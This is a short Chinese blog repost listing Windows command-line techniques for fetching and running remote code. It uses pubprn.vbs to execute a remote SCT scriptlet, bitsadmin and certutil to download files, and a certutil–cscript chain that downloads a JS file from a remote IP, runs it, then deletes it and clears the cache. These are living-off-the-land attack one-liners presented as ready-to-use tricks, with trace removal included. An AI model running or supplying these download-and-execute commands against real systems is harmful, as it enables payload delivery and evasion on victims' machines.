遠程執行sct的另一種姿勢

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

detail：https://posts.specterops.io/wsh-injection-a-case-study-fd35f79d29dd

命令行下載姿勢1

1 2 3

bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\p.zip bitsadmin /rawreturn /transfer getpayload http://download.sysinternals.com/files/PSTools.zip c:\p.zip bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:\p.zip"

命令行下載姿勢2

1	certutil -urlcache -split -f http://192.168.254.102:80/a.txt b.txt

清除緩存 certutil -urlcache -split -f http://192.168.254.102:80/a.txt delete

命令行執行遠程JS

certutil -urlcache -split -f?http://192.168.254.102:80/a?a.js && cscript a.js &&? del a.js && certutil -urlcache -split -f?http://192.168.254.102:80/a?delete

轉載于:https://www.cnblogs.com/nul1/p/8973337.html

《新程序員》：云原生和全面數字化實踐50位技術專家共同創作，文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的CMD命令行下载文件的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。